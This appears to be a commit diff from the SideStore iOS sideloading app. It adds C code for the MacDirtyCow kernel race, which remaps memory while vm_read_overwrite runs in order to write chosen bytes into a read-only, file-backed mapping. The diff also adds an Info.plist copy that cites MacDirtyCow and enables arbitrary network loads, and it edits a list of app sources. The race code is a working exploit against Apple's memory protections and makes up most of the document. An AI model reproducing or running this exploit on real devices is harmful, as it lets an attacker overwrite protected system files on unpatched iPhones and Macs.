|
||||||
|
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <dispatch/dispatch.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include <mach/mach_init.h>
|
||||||
|
#include <mach/mach_port.h>
|
||||||
|
#include <mach/vm_map.h>
|
||||||
|
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
#include "vm_unaligned_copy_switch_race.h"
|
||||||
|
|
||||||
|
#define T_QUIET
|
||||||
|
#define T_EXPECT_MACH_SUCCESS(a, b)
|
||||||
|
#define T_EXPECT_MACH_ERROR(a, b, c)
|
||||||
|
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
|
||||||
|
#define T_ASSERT_MACH_ERROR(a, b, c)
|
||||||
|
#define T_ASSERT_POSIX_SUCCESS(a, b)
|
||||||
|
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||||
|
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||||
|
#define T_ASSERT_TRUE(a, b, ...)
|
||||||
|
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||||
|
#define T_DECL(a, b) static void a(void)
|
||||||
|
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||||
|
|
||||||
|
struct context1 {
|
||||||
|
vm_size_t obj_size;
|
||||||
|
vm_address_t e0;
|
||||||
|
mach_port_t mem_entry_ro;
|
||||||
|
mach_port_t mem_entry_rw;
|
||||||
|
dispatch_semaphore_t running_sem;
|
||||||
|
pthread_mutex_t mtx;
|
||||||
|
volatile bool done;
|
||||||
|
};
|
||||||
|
|
||||||
|
static void *
|
||||||
|
switcheroo_thread(__unused void *arg)
|
||||||
|
{
|
||||||
|
kern_return_t kr;
|
||||||
|
struct context1 *ctx;
|
||||||
|
|
||||||
|
ctx = (struct context1 *)arg;
|
||||||
|
/* tell main thread we're ready to run */
|
||||||
|
dispatch_semaphore_signal(ctx->running_sem);
|
||||||
|
while (!ctx->done) {
|
||||||
|
/* wait for main thread to be done setting things up */
|
||||||
|
pthread_mutex_lock(&ctx->mtx);
|
||||||
|
if (ctx->done) {
|
||||||
|
pthread_mutex_unlock(&ctx->mtx);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
/* switch e0 to RW mapping */
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->e0,
|
||||||
|
ctx->obj_size,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||||
|
ctx->mem_entry_rw,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
|
||||||
|
/* wait a little bit */
|
||||||
|
usleep(100);
|
||||||
|
/* switch bakc to original RO mapping */
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->e0,
|
||||||
|
ctx->obj_size,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||||
|
ctx->mem_entry_ro,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
|
||||||
|
/* tell main thread we're don switching mappings */
|
||||||
|
pthread_mutex_unlock(&ctx->mtx);
|
||||||
|
usleep(100);
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
|
||||||
|
bool retval = false;
|
||||||
|
pthread_t th = NULL;
|
||||||
|
int ret;
|
||||||
|
kern_return_t kr;
|
||||||
|
time_t start, duration;
|
||||||
|
#if 0
|
||||||
|
mach_msg_type_number_t cow_read_size;
|
||||||
|
#endif
|
||||||
|
vm_size_t copied_size;
|
||||||
|
int loops;
|
||||||
|
vm_address_t e2, e5;
|
||||||
|
struct context1 context1, *ctx;
|
||||||
|
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
|
||||||
|
vm_address_t ro_addr, tmp_addr;
|
||||||
|
memory_object_size_t mo_size;
|
||||||
|
|
||||||
|
ctx = &context1;
|
||||||
|
ctx->obj_size = 256 * 1024;
|
||||||
|
|
||||||
|
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
|
||||||
|
if (file_mapped == MAP_FAILED) {
|
||||||
|
fprintf(stderr, "failed to map\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
|
||||||
|
fprintf(stderr, "already the same?\n");
|
||||||
|
munmap(file_mapped, ctx->obj_size);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
ro_addr = (vm_address_t)file_mapped;
|
||||||
|
|
||||||
|
ctx->e0 = 0;
|
||||||
|
ctx->running_sem = dispatch_semaphore_create(0);
|
||||||
|
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
|
||||||
|
ret = pthread_mutex_init(&ctx->mtx, NULL);
|
||||||
|
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
|
||||||
|
ctx->done = false;
|
||||||
|
ctx->mem_entry_rw = MACH_PORT_NULL;
|
||||||
|
ctx->mem_entry_ro = MACH_PORT_NULL;
|
||||||
|
#if 0
|
||||||
|
/* allocate our attack target memory */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&ro_addr,
|
||||||
|
ctx->obj_size,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
|
||||||
|
/* initialize to 'A' */
|
||||||
|
memset((char *)ro_addr, 'A', ctx->obj_size);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* make it read-only */
|
||||||
|
kr = vm_protect(mach_task_self(),
|
||||||
|
ro_addr,
|
||||||
|
ctx->obj_size,
|
||||||
|
TRUE, /* set_maximum */
|
||||||
|
VM_PROT_READ);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
|
||||||
|
/* make sure we can't get read-write handle on that target memory */
|
||||||
|
mo_size = ctx->obj_size;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
ro_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
&ctx->mem_entry_ro,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
|
||||||
|
/* take read-only handle on that target memory */
|
||||||
|
mo_size = ctx->obj_size;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
ro_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ,
|
||||||
|
&ctx->mem_entry_ro,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
|
||||||
|
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||||
|
/* make sure we can't map target memory as writable */
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->obj_size,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_ANYWHERE,
|
||||||
|
ctx->mem_entry_ro,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->obj_size,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_ANYWHERE,
|
||||||
|
ctx->mem_entry_ro,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||||
|
|
||||||
|
/* allocate a source buffer for the unaligned copy */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e5,
|
||||||
|
ctx->obj_size * 2,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
|
||||||
|
/* initialize to 'C' */
|
||||||
|
memset((char *)e5, 'C', ctx->obj_size * 2);
|
||||||
|
|
||||||
|
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
|
||||||
|
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
|
||||||
|
|
||||||
|
int overwrite_first_diff_offset = -1;
|
||||||
|
char overwrite_first_diff_value = 0;
|
||||||
|
for (int off = 0; off < overwrite_length; off++) {
|
||||||
|
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
|
||||||
|
overwrite_first_diff_offset = off;
|
||||||
|
overwrite_first_diff_value = ((char*)ro_addr)[off];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (overwrite_first_diff_offset == -1) {
|
||||||
|
fprintf(stderr, "no diff?\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* get a handle on some writable memory that will be temporarily
|
||||||
|
* switched with the read-only mapping of our target memory to try
|
||||||
|
* and trick copy_unaligned to write to our read-only target.
|
||||||
|
*/
|
||||||
|
tmp_addr = 0;
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&tmp_addr,
|
||||||
|
ctx->obj_size,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
|
||||||
|
/* initialize to 'D' */
|
||||||
|
memset((char *)tmp_addr, 'D', ctx->obj_size);
|
||||||
|
/* get a memory entry handle for that RW memory */
|
||||||
|
mo_size = ctx->obj_size;
|
||||||
|
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||||
|
&mo_size,
|
||||||
|
tmp_addr,
|
||||||
|
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||||
|
&ctx->mem_entry_rw,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
|
||||||
|
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||||
|
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
|
||||||
|
tmp_addr = 0;
|
||||||
|
|
||||||
|
pthread_mutex_lock(&ctx->mtx);
|
||||||
|
|
||||||
|
/* start racing thread */
|
||||||
|
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
|
||||||
|
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||||
|
|
||||||
|
/* wait for racing thread to be ready to run */
|
||||||
|
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
|
||||||
|
|
||||||
|
duration = 10; /* 10 seconds */
|
||||||
|
T_LOG("Testing for %ld seconds...", duration);
|
||||||
|
for (start = time(NULL), loops = 0;
|
||||||
|
time(NULL) < start + duration;
|
||||||
|
loops++) {
|
||||||
|
/* reserve space for our 2 contiguous allocations */
|
||||||
|
e2 = 0;
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e2,
|
||||||
|
2 * ctx->obj_size,
|
||||||
|
VM_FLAGS_ANYWHERE);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
|
||||||
|
|
||||||
|
/* make 1st allocation in our reserved space */
|
||||||
|
kr = vm_allocate(mach_task_self(),
|
||||||
|
&e2,
|
||||||
|
ctx->obj_size,
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
|
||||||
|
/* initialize to 'B' */
|
||||||
|
memset((char *)e2, 'B', ctx->obj_size);
|
||||||
|
|
||||||
|
/* map our read-only target memory right after */
|
||||||
|
ctx->e0 = e2 + ctx->obj_size;
|
||||||
|
kr = vm_map(mach_task_self(),
|
||||||
|
&ctx->e0,
|
||||||
|
ctx->obj_size,
|
||||||
|
0, /* mask */
|
||||||
|
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
|
||||||
|
ctx->mem_entry_ro,
|
||||||
|
0,
|
||||||
|
FALSE, /* copy */
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_PROT_READ,
|
||||||
|
VM_INHERIT_DEFAULT);
|
||||||
|
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
|
||||||
|
|
||||||
|
/* let the racing thread go */
|
||||||
|
pthread_mutex_unlock(&ctx->mtx);
|
||||||
|
/* wait a little bit */
|
||||||
|
usleep(100);
|
||||||
|
|
||||||
|
/* trigger copy_unaligned while racing with other thread */
|
||||||
|
kr = vm_read_overwrite(mach_task_self(),
|
||||||
|
e5,
|
||||||
|
ctx->obj_size - 1 + overwrite_length,
|
||||||
|
e2 + 1,
|
||||||
|
&copied_size);
|
||||||
|
T_QUIET;
|
||||||
|
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
|
||||||
|
"vm_read_overwrite kr %d", kr);
|
||||||
|
switch (kr) {
|
||||||
|
case KERN_SUCCESS:
|
||||||
|
/* the target was RW */
|
||||||
|
kern_success++;
|
||||||
|
break;
|
||||||
|
case KERN_PROTECTION_FAILURE:
|
||||||
|
/* the target was RO */
|
||||||
|
kern_protection_failure++;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
/* should not happen */
|
||||||
|
kern_other++;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
/* check that our read-only memory was not modified */
|
||||||
|
#if 0
|
||||||
|
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
|
||||||
|
#endif
|
||||||
|
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
|
||||||
|
|
||||||
|
/* tell racing thread to stop toggling mappings */
|
||||||
|
pthread_mutex_lock(&ctx->mtx);
|
||||||
|
|
||||||
|
/* clean up before next loop */
|
||||||
|
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
|
||||||
|
ctx->e0 = 0;
|
||||||
|
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
|
||||||
|
e2 = 0;
|
||||||
|
if (!is_still_equal) {
|
||||||
|
retval = true;
|
||||||
|
fprintf(stderr, "RO mapping was modified\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx->done = true;
|
||||||
|
pthread_mutex_unlock(&ctx->mtx);
|
||||||
|
pthread_join(th, NULL);
|
||||||
|
|
||||||
|
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
|
||||||
|
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
|
||||||
|
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
|
||||||
|
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
|
||||||
|
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
|
||||||
|
|
||||||
|
#if 0
|
||||||
|
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||||
|
kern_success, kern_protection_failure, kern_other);
|
||||||
|
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||||
|
#endif
|
||||||
|
return retval;
|
||||||
|
}
|
||||||
@@ -56,7 +56,7 @@ public extension Bundle
|
|||||||
public extension Bundle
|
public extension Bundle
|
||||||
{
|
{
|
||||||
static var baseAltStoreAppGroupID = "group." + Bundle.Info.appbundleIdentifier
|
static var baseAltStoreAppGroupID = "group." + Bundle.Info.appbundleIdentifier
|
||||||
|
|
||||||
var appGroups: [String] {
|
var appGroups: [String] {
|
||||||
return self.infoDictionary?[Bundle.Info.appGroups] as? [String] ?? []
|
return self.infoDictionary?[Bundle.Info.appGroups] as? [String] ?? []
|
||||||
}
|
}
|
||||||
|
|||||||
212
SideStore copy-Info.plist
Normal file
212
SideStore copy-Info.plist
Normal file
@@ -0,0 +1,212 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>ALTAnisetteURL</key>
|
||||||
|
<string>https://ani.sidestore.io</string>
|
||||||
|
<key>ALTAppGroups</key>
|
||||||
|
<array>
|
||||||
|
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
||||||
|
<string>group.com.SideStore.SideStore</string>
|
||||||
|
</array>
|
||||||
|
<key>ALTDeviceID</key>
|
||||||
|
<string>00008101-000129D63698001E</string>
|
||||||
|
<key>ALTPairingFile</key>
|
||||||
|
<string><insert pairing file here></string>
|
||||||
|
<key>ALTServerID</key>
|
||||||
|
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
|
||||||
|
<key>CFBundleDevelopmentRegion</key>
|
||||||
|
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||||
|
<key>CFBundleDocumentTypes</key>
|
||||||
|
<array>
|
||||||
|
<dict>
|
||||||
|
<key>CFBundleTypeIconFiles</key>
|
||||||
|
<array/>
|
||||||
|
<key>CFBundleTypeName</key>
|
||||||
|
<string>iOS App</string>
|
||||||
|
<key>CFBundleTypeRole</key>
|
||||||
|
<string>Viewer</string>
|
||||||
|
<key>LSHandlerRank</key>
|
||||||
|
<string>Alternate</string>
|
||||||
|
<key>LSItemContentTypes</key>
|
||||||
|
<array>
|
||||||
|
<string>com.apple.itunes.ipa</string>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
</array>
|
||||||
|
<key>CFBundleExecutable</key>
|
||||||
|
<string>$(EXECUTABLE_NAME)</string>
|
||||||
|
<key>CFBundleIdentifier</key>
|
||||||
|
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
|
||||||
|
<key>CFBundleInfoDictionaryVersion</key>
|
||||||
|
<string>6.0</string>
|
||||||
|
<key>CFBundleName</key>
|
||||||
|
<string>$(PRODUCT_NAME)</string>
|
||||||
|
<key>CFBundlePackageType</key>
|
||||||
|
<string>APPL</string>
|
||||||
|
<key>CFBundleShortVersionString</key>
|
||||||
|
<string>$(MARKETING_VERSION)</string>
|
||||||
|
<key>CFBundleURLTypes</key>
|
||||||
|
<array>
|
||||||
|
<dict>
|
||||||
|
<key>CFBundleTypeRole</key>
|
||||||
|
<string>Editor</string>
|
||||||
|
<key>CFBundleURLName</key>
|
||||||
|
<string>AltStore General</string>
|
||||||
|
<key>CFBundleURLSchemes</key>
|
||||||
|
<array>
|
||||||
|
<string>altstore</string>
|
||||||
|
<string>sidestore</string>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
<dict>
|
||||||
|
<key>CFBundleTypeRole</key>
|
||||||
|
<string>Editor</string>
|
||||||
|
<key>CFBundleURLName</key>
|
||||||
|
<string>AltStore Backup</string>
|
||||||
|
<key>CFBundleURLSchemes</key>
|
||||||
|
<array>
|
||||||
|
<string>altstore-com.rileytestut.AltStore</string>
|
||||||
|
<string>sidestore-com.SideStore.SideStore</string>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
</array>
|
||||||
|
<key>CFBundleVersion</key>
|
||||||
|
<string>1</string>
|
||||||
|
<key>INIntentsSupported</key>
|
||||||
|
<array>
|
||||||
|
<string>RefreshAllIntent</string>
|
||||||
|
<string>ViewAppIntent</string>
|
||||||
|
</array>
|
||||||
|
<key>LSApplicationQueriesSchemes</key>
|
||||||
|
<array>
|
||||||
|
<string>altstore-com.rileytestut.AltStore</string>
|
||||||
|
<string>altstore-com.rileytestut.AltStore.Beta</string>
|
||||||
|
<string>altstore-com.rileytestut.Delta</string>
|
||||||
|
<string>altstore-com.rileytestut.Delta.Beta</string>
|
||||||
|
<string>altstore-com.rileytestut.Delta.Lite</string>
|
||||||
|
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
|
||||||
|
<string>altstore-com.rileytestut.Clip</string>
|
||||||
|
<string>altstore-com.rileytestut.Clip.Beta</string>
|
||||||
|
</array>
|
||||||
|
<key>LSRequiresIPhoneOS</key>
|
||||||
|
<true/>
|
||||||
|
<key>LSSupportsOpeningDocumentsInPlace</key>
|
||||||
|
<true/>
|
||||||
|
<key>NSAppTransportSecurity</key>
|
||||||
|
<dict>
|
||||||
|
<key>NSAllowsArbitraryLoads</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
|
<key>NSAppleMusicUsageDescription</key>
|
||||||
|
<string>SideStore needs this for MacDirtyCow</string>
|
||||||
|
<key>NSBonjourServices</key>
|
||||||
|
<array>
|
||||||
|
<string>_altserver._tcp</string>
|
||||||
|
</array>
|
||||||
|
<key>NSLocalNetworkUsageDescription</key>
|
||||||
|
<string>SideStore uses the local network to find and communicate with your device.</string>
|
||||||
|
<key>NSUserActivityTypes</key>
|
||||||
|
<array>
|
||||||
|
<string>RefreshAllIntent</string>
|
||||||
|
<string>ViewAppIntent</string>
|
||||||
|
</array>
|
||||||
|
<key>UIApplicationSceneManifest</key>
|
||||||
|
<dict>
|
||||||
|
<key>UIApplicationSupportsMultipleScenes</key>
|
||||||
|
<true/>
|
||||||
|
<key>UISceneConfigurations</key>
|
||||||
|
<dict>
|
||||||
|
<key>UIWindowSceneSessionRoleApplication</key>
|
||||||
|
<array>
|
||||||
|
<dict>
|
||||||
|
<key>UILaunchStoryboardName</key>
|
||||||
|
<string>LaunchScreen</string>
|
||||||
|
<key>UISceneConfigurationName</key>
|
||||||
|
<string>Default Configuration</string>
|
||||||
|
<key>UISceneDelegateClassName</key>
|
||||||
|
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
|
||||||
|
<key>UISceneStoryboardFile</key>
|
||||||
|
<string>Main</string>
|
||||||
|
</dict>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
</dict>
|
||||||
|
<key>UIBackgroundModes</key>
|
||||||
|
<array>
|
||||||
|
<string>audio</string>
|
||||||
|
<string>fetch</string>
|
||||||
|
<string>remote-notification</string>
|
||||||
|
</array>
|
||||||
|
<key>UIFileSharingEnabled</key>
|
||||||
|
<true/>
|
||||||
|
<key>UILaunchStoryboardName</key>
|
||||||
|
<string>LaunchScreen</string>
|
||||||
|
<key>UIMainStoryboardFile</key>
|
||||||
|
<string>Main</string>
|
||||||
|
<key>UIRequiredDeviceCapabilities</key>
|
||||||
|
<array>
|
||||||
|
<string>armv7</string>
|
||||||
|
</array>
|
||||||
|
<key>UIStatusBarTintParameters</key>
|
||||||
|
<dict>
|
||||||
|
<key>UINavigationBar</key>
|
||||||
|
<dict>
|
||||||
|
<key>Style</key>
|
||||||
|
<string>UIBarStyleDefault</string>
|
||||||
|
<key>Translucent</key>
|
||||||
|
<false/>
|
||||||
|
</dict>
|
||||||
|
</dict>
|
||||||
|
<key>UISupportedInterfaceOrientations</key>
|
||||||
|
<array>
|
||||||
|
<string>UIInterfaceOrientationPortrait</string>
|
||||||
|
</array>
|
||||||
|
<key>UISupportedInterfaceOrientations~ipad</key>
|
||||||
|
<array>
|
||||||
|
<string>UIInterfaceOrientationPortrait</string>
|
||||||
|
<string>UIInterfaceOrientationPortraitUpsideDown</string>
|
||||||
|
<string>UIInterfaceOrientationLandscapeLeft</string>
|
||||||
|
<string>UIInterfaceOrientationLandscapeRight</string>
|
||||||
|
</array>
|
||||||
|
<key>UTImportedTypeDeclarations</key>
|
||||||
|
<array>
|
||||||
|
<dict>
|
||||||
|
<key>UTTypeConformsTo</key>
|
||||||
|
<array>
|
||||||
|
<string>public.data</string>
|
||||||
|
</array>
|
||||||
|
<key>UTTypeDescription</key>
|
||||||
|
<string>iOS App</string>
|
||||||
|
<key>UTTypeIconFiles</key>
|
||||||
|
<array/>
|
||||||
|
<key>UTTypeIdentifier</key>
|
||||||
|
<string>com.apple.itunes.ipa</string>
|
||||||
|
<key>UTTypeTagSpecification</key>
|
||||||
|
<dict>
|
||||||
|
<key>public.filename-extension</key>
|
||||||
|
<string>ipa</string>
|
||||||
|
</dict>
|
||||||
|
</dict>
|
||||||
|
<dict>
|
||||||
|
<key>UTTypeConformsTo</key>
|
||||||
|
<array>
|
||||||
|
<string>com.apple.plist</string>
|
||||||
|
</array>
|
||||||
|
<key>UTTypeDescription</key>
|
||||||
|
<string>Mobile Device Pairing</string>
|
||||||
|
<key>UTTypeIconFiles</key>
|
||||||
|
<array/>
|
||||||
|
<key>UTTypeIdentifier</key>
|
||||||
|
<string>org.sidestore.mobiledevicepairing</string>
|
||||||
|
<key>UTTypeTagSpecification</key>
|
||||||
|
<dict>
|
||||||
|
<key>public.filename-extension</key>
|
||||||
|
<array>
|
||||||
|
<string>mobiledevicepairing</string>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
</dict>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
@@ -24,10 +24,6 @@
|
|||||||
"identifier": "com.flyinghead.source",
|
"identifier": "com.flyinghead.source",
|
||||||
"sourceURL": "https://flyinghead.github.io/flycast-builds/altstore.json"
|
"sourceURL": "https://flyinghead.github.io/flycast-builds/altstore.json"
|
||||||
},
|
},
|
||||||
{
|
|
||||||
"identifier": "com.emuplace.altstore",
|
|
||||||
"sourceURL": "https://emuplace.app/altstore.json"
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"identifier": "dev.crystall1ne.repos.PojavLauncher",
|
"identifier": "dev.crystall1ne.repos.PojavLauncher",
|
||||||
"sourceURL": "https://alt.crystall1ne.dev"
|
"sourceURL": "https://alt.crystall1ne.dev"
|
||||||
@@ -46,7 +42,7 @@
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"identifier": "com.litritt.litsource",
|
"identifier": "com.litritt.litsource",
|
||||||
"sourceURL": "https://apps.litritt.com/"
|
"sourceURL": "https://altstore.ignitedemulator.com/"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user